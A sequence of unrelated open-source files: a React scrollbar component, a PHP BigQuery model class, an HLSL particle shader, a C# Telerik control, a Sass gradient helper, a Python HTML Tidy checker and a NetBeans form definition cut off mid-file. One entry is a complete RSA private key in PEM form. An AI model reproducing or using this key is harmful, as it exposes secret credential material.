this.clickTrackHandler = this.clickTrackHandler.bind(this);
this.clickThumbHandler = this.clickThumbHandler.bind(this);
this.mouseMoveDocumentHandler = this.mouseMoveDocumentHandler.bind(this);
this.mouseUpDocumentHandler = this.mouseUpDocumentHandler.bind(this);
}
get bar() {
return BAR_MAP[this.props.vertical ? 'vertical' : 'horizontal'];
}
get wrap() {
return this.props.getParentWrap();
}
clickThumbHandler(e) {
this.startDrag(e);
this[this.bar.axis] = (
e.currentTarget[this.bar.offset] -
(e[this.bar.client] - e.currentTarget.getBoundingClientRect()[this.bar.direction])
);
}
clickTrackHandler(e) {
const offset = Math.abs(e.target.getBoundingClientRect()[this.bar.direction] - e[this.bar.client]);
const thumbHalf = (this.thumbRef[this.bar.offset] / 2);
const thumbPositionPercentage = ((offset - thumbHalf) * 100 / this.rootRef[this.bar.offset]);
this.wrap[this.bar.scroll] = (thumbPositionPercentage * this.wrap[this.bar.scrollSize] / 100);
}
startDrag(e) {
e.nativeEvent.stopImmediatePropagation;
this.cursorDown = true;
on(document, 'mousemove', this.mouseMoveDocumentHandler);
on(document, 'mouseup', this.mouseUpDocumentHandler);
document.onselectstart = () => false;
}
mouseMoveDocumentHandler(e) {
if (this.cursorDown === false) return;
const prevPage = this[this.bar.axis];
if (!prevPage) return;
const offset = (e[this.bar.client] - this.rootRef.getBoundingClientRect()[this.bar.direction]);
const thumbClickPosition = (this.thumbRef[this.bar.offset] - prevPage);
const thumbPositionPercentage = ((offset - thumbClickPosition) * 100 / this.rootRef[this.bar.offset]);
this.wrap[this.bar.scroll] = (thumbPositionPercentage * this.wrap[this.bar.scrollSize] / 100);
}
mouseUpDocumentHandler() {
this.cursorDown = false;
this[this.bar.axis] = 0;
off(document, 'mousemove', this.mouseMoveDocumentHandler);
document.onselectstart = null;
}
render() {
const { size, move, prefixCls } = this.props;
return (
<div
ref={root => this.rootRef = root}
className={classNames(`${prefixCls}-scrollbar__bar`, `is-${this.bar.key}`)}
onMouseDown={this.clickTrackHandler} >
<div
ref={thumb => this.thumbRef = thumb}
className={`${prefixCls}-scrollbar__thumb`}
onMouseDown={this.clickThumbHandler}
style={renderThumbStyle({ size, move, bar: this.bar })}
/>
</div>
);
}
}
Bar.propTypes = {
vertical: PropTypes.bool,
size: PropTypes.string,
move: PropTypes.number,
getParentWrap: PropTypes.func.isRequired,
prefixCls: PropTypes.string
};
Bar.defaultProps = {
prefixCls: 'fishd'
};
|
{
"pile_set_name": "Github"
}
|
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
class Google_Service_Bigquery_BigtableColumn extends Google_Model
{
public $encoding;
public $fieldName;
public $onlyReadLatest;
public $qualifierEncoded;
public $qualifierString;
public $type;
public function setEncoding($encoding)
{
$this->encoding = $encoding;
}
public function getEncoding()
{
return $this->encoding;
}
public function setFieldName($fieldName)
{
$this->fieldName = $fieldName;
}
public function getFieldName()
{
return $this->fieldName;
}
public function setOnlyReadLatest($onlyReadLatest)
{
$this->onlyReadLatest = $onlyReadLatest;
}
public function getOnlyReadLatest()
{
return $this->onlyReadLatest;
}
public function setQualifierEncoded($qualifierEncoded)
{
$this->qualifierEncoded = $qualifierEncoded;
}
public function getQualifierEncoded()
{
return $this->qualifierEncoded;
}
public function setQualifierString($qualifierString)
{
$this->qualifierString = $qualifierString;
}
public function getQualifierString()
{
return $this->qualifierString;
}
public function setType($type)
{
$this->type = $type;
}
public function getType()
{
return $this->type;
}
}
|
{
"pile_set_name": "Github"
}
|
#include "globals.hlsli"
#include "ShaderInterop_EmittedParticle.h"
RWSTRUCTUREDBUFFER(particleBuffer, Particle, 0);
RWSTRUCTUREDBUFFER(aliveBuffer_CURRENT, uint, 1);
RWSTRUCTUREDBUFFER(aliveBuffer_NEW, uint, 2);
RWSTRUCTUREDBUFFER(deadBuffer, uint, 3);
RWRAWBUFFER(counterBuffer, 4);
#ifdef EMIT_FROM_MESH
TYPEDBUFFER(meshIndexBuffer, uint, TEXSLOT_ONDEMAND0);
RAWBUFFER(meshVertexBuffer_POS, TEXSLOT_ONDEMAND1);
#endif // EMIT_FROM_MESH
[numthreads(THREADCOUNT_EMIT, 1, 1)]
void main(uint3 DTid : SV_DispatchThreadID)
{
uint emitCount = counterBuffer.Load(PARTICLECOUNTER_OFFSET_REALEMITCOUNT);
if(DTid.x < emitCount)
{
// we can emit:
float2 uv = float2(g_xFrame_Time + xEmitterRandomness, (float)DTid.x / (float)THREADCOUNT_EMIT);
float seed = 0.12345;
#ifdef EMIT_FROM_MESH
// random triangle on emitter surface:
// (Note that the usual rand() function is not used because that introduces unnatural clustering with high triangle count)
uint tri = (uint)((xEmitterMeshIndexCount / 3) * hash1(DTid.x));
// load indices of triangle from index buffer
uint i0 = meshIndexBuffer[tri * 3 + 0];
uint i1 = meshIndexBuffer[tri * 3 + 1];
uint i2 = meshIndexBuffer[tri * 3 + 2];
// load vertices of triangle from vertex buffer:
float4 pos_nor0 = asfloat(meshVertexBuffer_POS.Load4(i0 * xEmitterMeshVertexPositionStride));
float4 pos_nor1 = asfloat(meshVertexBuffer_POS.Load4(i1 * xEmitterMeshVertexPositionStride));
float4 pos_nor2 = asfloat(meshVertexBuffer_POS.Load4(i2 * xEmitterMeshVertexPositionStride));
uint nor_u = asuint(pos_nor0.w);
float3 nor0;
{
nor0.x = (float)((nor_u >> 0) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
nor0.y = (float)((nor_u >> 8) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
nor0.z = (float)((nor_u >> 16) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
}
nor_u = asuint(pos_nor1.w);
float3 nor1;
{
nor1.x = (float)((nor_u >> 0) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
nor1.y = (float)((nor_u >> 8) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
nor1.z = (float)((nor_u >> 16) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
}
nor_u = asuint(pos_nor2.w);
float3 nor2;
{
nor2.x = (float)((nor_u >> 0) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
nor2.y = (float)((nor_u >> 8) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
nor2.z = (float)((nor_u >> 16) & 0x000000FF) / 255.0f * 2.0f - 1.0f;
}
// random barycentric coords:
float f = rand(seed, uv);
float g = rand(seed, uv);
[flatten]
if (f + g > 1)
{
f = 1 - f;
g = 1 - g;
}
// compute final surface position on triangle from barycentric coords:
float3 pos = pos_nor0.xyz + f * (pos_nor1.xyz - pos_nor0.xyz) + g * (pos_nor2.xyz - pos_nor0.xyz);
float3 nor = nor0 + f * (nor1 - nor0) + g * (nor2 - nor0);
pos = mul(xEmitterWorld, float4(pos, 1)).xyz;
nor = normalize(mul((float3x3)xEmitterWorld, nor));
#else
#ifdef EMITTER_VOLUME
// Emit inside volume:
float3 pos = mul(xEmitterWorld, float4(rand(seed, uv) * 2 - 1, rand(seed, uv) * 2 - 1, rand(seed, uv) * 2 - 1, 1)).xyz;
#else
// Just emit from center point:
float3 pos = mul(xEmitterWorld, float4(0, 0, 0, 1)).xyz;
#endif // EMITTER_VOLUME
float3 nor = 0;
#endif // EMIT_FROM_MESH
float particleStartingSize = xParticleSize + xParticleSize * (rand(seed, uv) - 0.5f) * xParticleRandomFactor;
// create new particle:
Particle particle;
particle.position = pos;
particle.force = 0;
particle.mass = xParticleMass;
particle.velocity = (nor + (float3(rand(seed, uv), rand(seed, uv), rand(seed, uv)) - 0.5f) * xParticleRandomFactor) * xParticleNormalFactor;
particle.rotationalVelocity = xParticleRotation + (rand(seed, uv) - 0.5f) * xParticleRandomFactor;
particle.maxLife = xParticleLifeSpan + xParticleLifeSpan * (rand(seed, uv) - 0.5f) * xParticleLifeSpanRandomness;
particle.life = particle.maxLife;
particle.sizeBeginEnd = float2(particleStartingSize, particleStartingSize * xParticleScaling);
particle.color_mirror = 0;
particle.color_mirror |= ((rand(seed, uv) > 0.5f) << 31) & 0x10000000;
particle.color_mirror |= ((rand(seed, uv) < 0.5f) << 30) & 0x20000000;
uint color_modifier = 0;
//color_modifier |= (uint)(255.0f * lerp(1, rand(seed, uv), xParticleRandomFactor)) << 0;
//color_modifier |= (uint)(255.0f * lerp(1, rand(seed, uv), xParticleRandomFactor)) << 8;
//color_modifier |= (uint)(255.0f * lerp(1, rand(seed, uv), xParticleRandomFactor)) << 16;
color_modifier = 0x00FFFFFF;
particle.color_mirror |= xParticleColor & color_modifier;
// new particle index retrieved from dead list (pop):
uint deadCount;
counterBuffer.InterlockedAdd(PARTICLECOUNTER_OFFSET_DEADCOUNT, -1, deadCount);
uint newParticleIndex = deadBuffer[deadCount - 1];
// write out the new particle:
particleBuffer[newParticleIndex] = particle;
// and add index to the alive list (push):
uint aliveCount;
counterBuffer.InterlockedAdd(PARTICLECOUNTER_OFFSET_ALIVECOUNT, 1, aliveCount);
aliveBuffer_CURRENT[aliveCount] = newParticleIndex;
}
}
|
{
"pile_set_name": "Github"
}
|
using System.Windows.Controls;
using Telerik.Windows.Rendering;
namespace TimelineIntervalMarkers
{
public class IntervalContainer : Control, IDataContainer
{
public IntervalContainer()
{
this.DefaultStyleKey = typeof(IntervalContainer);
}
public object DataItem { get; set; }
}
}
|
{
"pile_set_name": "Github"
}
|
// Private function for linear-gradient-parser
@function _linear-side-corner-parser($image, $first-val, $prefix, $suffix, $has-multiple-vals) {
$val-1: str-slice($first-val, 0, $has-multiple-vals - 1 );
$val-2: str-slice($first-val, $has-multiple-vals + 1, str-length($first-val));
$val-3: null;
$has-val-3: str-index($val-2, " ");
@if $has-val-3 {
$val-3: str-slice($val-2, $has-val-3 + 1, str-length($val-2));
$val-2: str-slice($val-2, 0, $has-val-3 - 1);
}
$pos: _position-flipper($val-1) _position-flipper($val-2) _position-flipper($val-3);
$pos: unquote($pos + "");
// Use old spec for webkit
@if $val-1 == "to" {
@return (
webkit-image: -webkit- + $prefix + $pos + $suffix,
spec-image: $image
);
}
// Bring the code up to spec
@else {
@return (
webkit-image: -webkit- + $image,
spec-image: $prefix + "to " + $pos + $suffix
);
}
}
|
{
"pile_set_name": "Github"
}
|
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAru9VUzun0KOrtY0wW7+wgaSmJA1gO21sswOAZnYSA+24Sa1F
NUEMQZ9PeQXbMKv4PtWS8p/wSrEW7PkbKs0JMkU/KkNnKdT42uaX9uSpY+g3h0Sh
+UNSt04W9BcqTkg+GltvzJoIopuSThwZO617L3SO8QEfjGqPuB2QCkfRMU2wubW2
X0tAQHCX/PofGXTgxDPLNcTkegUcvENsO7SUnOadqx8uym6VctswNpcPX6+g888a
RpuVEhsrjwWSRYpYC8r1HMW1PsyqVDLFFw9AK/kx2m7kiMtadRYnhNDUb8t9JPTz
OLxWtSFQclgcIEO0k0+3c+cKinmT+k+J6VGuDwIDAQABAoIBAEEqy2BsUsG4lxjU
9fTX3gsNqQ65JOY+h0XQwh5pUaDBB+v6blO+XbB8hoCRG+xvw9S0fz9/MWbBvcad
re8t3oUporQ908qTmfkB+g5xdGDRew4bFTPkToYWwxo/HvV2mBv9gBJ6N0lMJx6N
/SBsKf2tsCo7vuLyN4PhD22k/1sb9lFBoSw3irQGSmuh17tJwP+iFrYYF9wUrgsl
y78wZJpWvU9T7AA2OXNVJpXOjp6SsTAidTC2mX5t/JQgLhKhP/Xgk2QUcaFYfT4c
4DeUqoJlDvZIPooY/AhDIhIIji84R1O5DwYxvGpLzNLT7ae+5FvxXnZEh4H+htv6
3vezP8ECgYEA1lHK7jcAHbghjNY2w3grFBJIMGYJbN04+npSiM/i/2X40tJZhNE+
ALIbEeZ+hy9W1gmh8tzpO6FV9RR5OfRZW8O+z4ChgNqqh4vhiW8FD7sN5ijiqcOI
C2Ne/rZmU/THmBJruCjRxGlCBk28jzamH0ZLvzZmMda8DHyD40e/rPECgYEA0PS4
h4urmDACDWAOAJ9dQhmtIHYcwT3qlU83uJDfvak7GOb6WgHj/xVdTRyDxrF53gg7
fBAWXFLkLWA4j7yNS9CWdk06JNp5hKvmS6cmVQZ+L/R/UszmzUi2MPO3x6Ox+V90
q7VVBEwp369I5XqbdsdIWo8NJg+NtIMVSwrTCv8CgYBQ/kIhejmaAZ70OXQitMQa
5rnPSJBhSs0go5+TQnT3rdK14XahIe47lxNx1ViVwAciBivkuyWNOnBgmScjBrvK
WRRAGM1wA7MUXIGUTZdtFXSwOV1HaLR+EUSyH75WFhhj2PpKc2qqvliMR05uFOn8
wbUYgvdl+E/CrD+vYcsHEQKBgQCkJyx0J5BlXYmvMj+t04Ry8jLk5oUOdnK8W2Bd
2Uo7+B+aH5KbdRLFCOakNnt7c19Ww0bf3s+CNghVcVrd6HVkEviw9VhxLUT7qgOg
eS6O6yvkxoHj7V5/9NhUOpKs/ndJfejtH+YrGx5mQJDW3mwVctbvdaQRu3RKVBQ9
QMKsxwKBgBxiOmHDHV+Z/Lony6BEVE8t0UFeaAAOFKwjRxTGf/AZKxUEb4+ZoMT3
bj2Ej6XOoqWQg8VHWqQv1u2zwHT9DqUc/urG/fAoFPO60Aqd6o8Jc7jQCZYZxkfX
5xypiHpPcuBg+U5tVem/WXiVh3wvACxlWKkU9r8IAjQiGf9r4oCw
-----END RSA PRIVATE KEY-----
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Copyright (C) 2020, Modelica Association and contributors
All rights reserved.
Check Modelica HTML documentation with HTML Tidy
'''
import re
import os
from tidylib import tidy_document
# See https://haacked.com/archive/2004/10/25/usingregularexpressionstomatchhtml.aspx/
PATTERN = re.compile(r'</?\w+((\s+\w+(\s*=\s*(?:\\"(.|\n)*?\\"|\'(.|\n)*?\'|[^\'">\s]+))?)+\s*|\s*)/?>',
re.IGNORECASE)
# HTML Tidy IDs to be ignored
IGNORE_IDS = ('MISSING_ATTRIBUTE', 'MISMATCHED_ATTRIBUTE_WARN', 'REMOVED_HTML5')
# HTML Tidy options
TIDY_OPTIONS = {'doctype': 'omit', 'show-body-only': 1, 'show-warnings': 1, 'show-info': 1, 'mute-id': 1}
def _tidyHTML(doc):
body = ''.join(doc)
body = body.replace('\\"', '"')
_, errors = tidy_document(r'{0}'.format(body), options=TIDY_OPTIONS)
error_list = errors.rstrip().split('\n')
errors = []
for error in error_list:
error = error.rstrip().split('\n')
for err in error:
if err is not '' and not any(id in err for id in IGNORE_IDS):
errors.append(err)
return errors
def _tidyFileHTML(file_name):
"""
Run HTML Tidy on each HTML documentation found in file_name
"""
errors = []
with open(file_name) as file:
in_line = 0
doc = []
i = 1
for line in file:
if in_line > 0:
doc.append(line)
for match in PATTERN.finditer(line):
tag = match.group(0)
tag = tag.strip('< >')
tag = tag.split(' ')[0]
tag = tag.lower()
if tag == 'html':
# Fill with empty lines to get matching line numbers from HTML Tidy
doc = ['\n']*(i - 1)
doc.append(line[match.end():])
in_line = i
elif tag == '/html':
if in_line != i:
del doc[-1]
cont = line[:match.start()]
else:
# Single line
cont = doc.pop()
cont = cont[:(match.start() - len(line))]
doc.append(cont)
# Call HTML Tidy
errors = errors + _tidyHTML(doc)
in_line = 0
i = i + 1
# Debug print
for error in errors:
print('File "{0}": {1}'.format(file_name, error))
return len(errors)
def _walkCheck(func, path):
error_count = 0
for subdir, _, files in os.walk(path):
for file in files:
if os.path.splitext(file)[1] == '.mo':
file_name = os.path.join(subdir, file)
error_count = error_count + func(file_name)
return error_count
def tidyHTML(path):
if os.path.isdir(path):
return _walkCheck(_tidyFileHTML, path)
elif os.path.isfile(path):
return _tidyFileHTML(path)
else:
return 1
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8" ?>
<Form version="1.5" maxVersion="1.7" type="org.netbeans.modules.form.forminfo.JDialogFormInfo">
<Properties>
<Property name="defaultCloseOperation" type="int" value="2"/>
<Property name="undecorated" type="boolean" value="true"/>
<Property name="resizable" type="boolean" value="false"/>
</Properties>
<SyntheticProperties>
<SyntheticProperty name="formSizePolicy" type="int" value="1"/>
<SyntheticProperty name="generateCenter" type="boolean" value="false"/>
</SyntheticProperties>
<Events>
<EventHandler event="windowOpened" listener="java.awt.event.WindowListener" parameters="java.awt.event.WindowEvent" handler="formWindowOpened"/>
</Events>
<AuxValues>
<AuxValue name="FormSettings_autoResourcing" type="java.lang.Integer" value="0"/>
<AuxValue name="FormSettings_autoSetComponentName" type="java.lang.Boolean" value="true"/>
<AuxValue name="FormSettings_generateFQN" type="java.lang.Boolean" value="true"/>
<AuxValue name="FormSettings_generateMnemonicsCode" type="java.lang.Boolean" value="false"/>
<AuxValue name="FormSettings_i18nAutoMode" type="java.lang.Boolean" value="false"/>
<AuxValue name="FormSettings_layoutCodeTarget" type="java.lang.Integer" value="1"/>
<AuxValue name="FormSettings_listenerGenerationStyle" type="java.lang.Integer" value="0"/>
<AuxValue name="FormSettings_variablesLocal" type="java.lang.Boolean" value="false"/>
<AuxValue name="FormSettings_variablesModifier" type="java.lang.Integer" value="2"/>
<AuxValue name="designerSize" type="java.awt.Dimension" value="-84,-19,0,5,115,114,0,18,106,97,118,97,46,97,119,116,46,68,105,109,101,110,115,105,111,110,65,-114,-39,-41,-84,95,68,20,2,0,2,73,0,6,104,101,105,103,104,116,73,0,5,119,105,100,116,104,120,112,0,0,2,35,0,0,2,-16"/>
</AuxValues>
<Layout class="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout"/>
<SubComponents>
<Container class="widget.InternalFrame" name="internalFrame1">
<Properties>
<Property name="border" type="javax.swing.border.Border" editor="org.netbeans.modules.form.editors2.BorderEditor">
<Border info="org.netbeans.modules.form.compat2.border.TitledBorderInfo">
<TitledBorder title="::[ Data Pest Control ]::">
<Border PropertyName="innerBorder" info="org.netbeans.modules.form.compat2.border.LineBorderInfo">
<LineBorder>
<Color PropertyName="color" blue="eb" green="f5" red="f0" type="rgb"/>
</LineBorder>
</Border>
<Font PropertyName="font" name="Tahoma" size="11" style="0"/>
<Color PropertyName="color" blue="32" green="32" red="32" type="rgb"/>
</TitledBorder>
</Border>
</Property>
<Property name="font" type="java.awt.Font" editor="org.netbeans.beaninfo.editors.FontEditor">
<Font name="Tahoma" size="12" style="2"/>
</Property>
<Property name="name" type="java.lang.String" value="internalFrame1" noResource="true"/>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout" value="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout$BorderConstraintsDescription">
<BorderConstraints direction="Center"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout">
<Property name="horizontalGap" type="int" value="1"/>
<Property name="verticalGap" type="int" value="1"/>
</Layout>
<SubComponents>
<Container class="widget.ScrollPane" name="Scroll">
<Properties>
<Property name="name" type="java.lang.String" value="Scroll" noResource="true"/>
<Property name="opaque" type="boolean" value="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[452, 200]"/>
</Property>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout" value="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout$BorderConstraintsDescription">
<BorderConstraints direction="Center"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.support.JScrollPaneSupportLayout"/>
<SubComponents>
<Component class="widget.Table" name="tbObat">
<Properties>
<Property name="autoCreateRowSorter" type="boolean" value="true"/>
<Property name="toolTipText" type="java.lang.String" value="Silahkan klik untuk memilih data yang mau diedit ataupun dihapus"/>
<Property name="name" type="java.lang.String" value="tbObat" noResource="true"/>
</Properties>
<Events>
<EventHandler event="mouseClicked" listener="java.awt.event.MouseListener" parameters="java.awt.event.MouseEvent" handler="tbObatMouseClicked"/>
<EventHandler event="keyReleased" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="tbObatKeyReleased"/>
</Events>
</Component>
</SubComponents>
</Container>
<Container class="javax.swing.JPanel" name="jPanel3">
<Properties>
<Property name="name" type="java.lang.String" value="jPanel3" noResource="true"/>
<Property name="opaque" type="boolean" value="false"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[44, 100]"/>
</Property>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout" value="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout$BorderConstraintsDescription">
<BorderConstraints direction="Last"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout">
<Property name="horizontalGap" type="int" value="1"/>
<Property name="verticalGap" type="int" value="1"/>
</Layout>
<SubComponents>
<Container class="widget.panelisi" name="panelGlass8">
<Properties>
<Property name="name" type="java.lang.String" value="panelGlass8" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[44, 44]"/>
</Property>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout" value="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout$BorderConstraintsDescription">
<BorderConstraints direction="Center"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.DesignFlowLayout">
<Property name="alignment" type="int" value="0"/>
<Property name="verticalGap" type="int" value="9"/>
</Layout>
<SubComponents>
<Component class="widget.Button" name="BtnSimpan">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/save-16x16.png"/>
</Property>
<Property name="mnemonic" type="int" value="83"/>
<Property name="text" type="java.lang.String" value="Simpan"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+S"/>
<Property name="name" type="java.lang.String" value="BtnSimpan" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[100, 30]"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="BtnSimpanActionPerformed"/>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="BtnSimpanKeyPressed"/>
</Events>
</Component>
<Component class="widget.Button" name="BtnBatal">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/Cancel-2-16x16.png"/>
</Property>
<Property name="mnemonic" type="int" value="66"/>
<Property name="text" type="java.lang.String" value="Baru"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+B"/>
<Property name="name" type="java.lang.String" value="BtnBatal" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[100, 30]"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="BtnBatalActionPerformed"/>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="BtnBatalKeyPressed"/>
</Events>
</Component>
<Component class="widget.Button" name="BtnHapus">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/stop_f2.png"/>
</Property>
<Property name="mnemonic" type="int" value="72"/>
<Property name="text" type="java.lang.String" value="Hapus"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+H"/>
<Property name="name" type="java.lang.String" value="BtnHapus" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[100, 30]"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="BtnHapusActionPerformed"/>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="BtnHapusKeyPressed"/>
</Events>
</Component>
<Component class="widget.Button" name="BtnEdit">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/inventaris.png"/>
</Property>
<Property name="mnemonic" type="int" value="71"/>
<Property name="text" type="java.lang.String" value="Ganti"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+G"/>
<Property name="name" type="java.lang.String" value="BtnEdit" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[100, 30]"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="BtnEditActionPerformed"/>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="BtnEditKeyPressed"/>
</Events>
</Component>
<Component class="widget.Button" name="BtnPrint">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/b_print.png"/>
</Property>
<Property name="mnemonic" type="int" value="84"/>
<Property name="text" type="java.lang.String" value="Cetak"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+T"/>
<Property name="name" type="java.lang.String" value="BtnPrint" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[100, 30]"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="BtnPrintActionPerformed"/>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="BtnPrintKeyPressed"/>
</Events>
</Component>
<Component class="widget.Button" name="BtnAll">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/Search-16x16.png"/>
</Property>
<Property name="mnemonic" type="int" value="77"/>
<Property name="text" type="java.lang.String" value="Semua"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+M"/>
<Property name="name" type="java.lang.String" value="BtnAll" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[100, 30]"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="BtnAllActionPerformed"/>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="BtnAllKeyPressed"/>
</Events>
</Component>
<Component class="widget.Button" name="BtnKeluar">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/exit.png"/>
</Property>
<Property name="mnemonic" type="int" value="75"/>
<Property name="text" type="java.lang.String" value="Keluar"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+K"/>
<Property name="name" type="java.lang.String" value="BtnKeluar" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[100, 30]"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="BtnKeluarActionPerformed"/>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="BtnKeluarKeyPressed"/>
</Events>
</Component>
</SubComponents>
</Container>
<Container class="widget.panelisi" name="panelGlass9">
<Properties>
<Property name="name" type="java.lang.String" value="panelGlass9" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[44, 44]"/>
</Property>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout" value="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout$BorderConstraintsDescription">
<BorderConstraints direction="First"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.DesignFlowLayout">
<Property name="alignment" type="int" value="0"/>
<Property name="verticalGap" type="int" value="9"/>
</Layout>
<SubComponents>
<Component class="widget.Label" name="jLabel19">
<Properties>
<Property name="text" type="java.lang.String" value="Tanggal :"/>
<Property name="name" type="java.lang.String" value="jLabel19" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[57, 23]"/>
</Property>
</Properties>
</Component>
<Component class="widget.Tanggal" name="DTPCari1">
<Properties>
<Property name="foreground" type="java.awt.Color" editor="org.netbeans.beaninfo.editors.ColorEditor">
<Color blue="32" green="46" red="32" type="rgb"/>
</Property>
<Property name="model" type="javax.swing.ComboBoxModel" editor="org.netbeans.modules.form.editors2.ComboBoxModelEditor">
<StringArray count="1">
<StringItem index="0" value="01-05-2019"/>
</StringArray>
</Property>
<Property name="displayFormat" type="java.lang.String" value="dd-MM-yyyy"/>
<Property name="name" type="java.lang.String" value="DTPCari1" noResource="true"/>
<Property name="opaque" type="boolean" value="false"/>
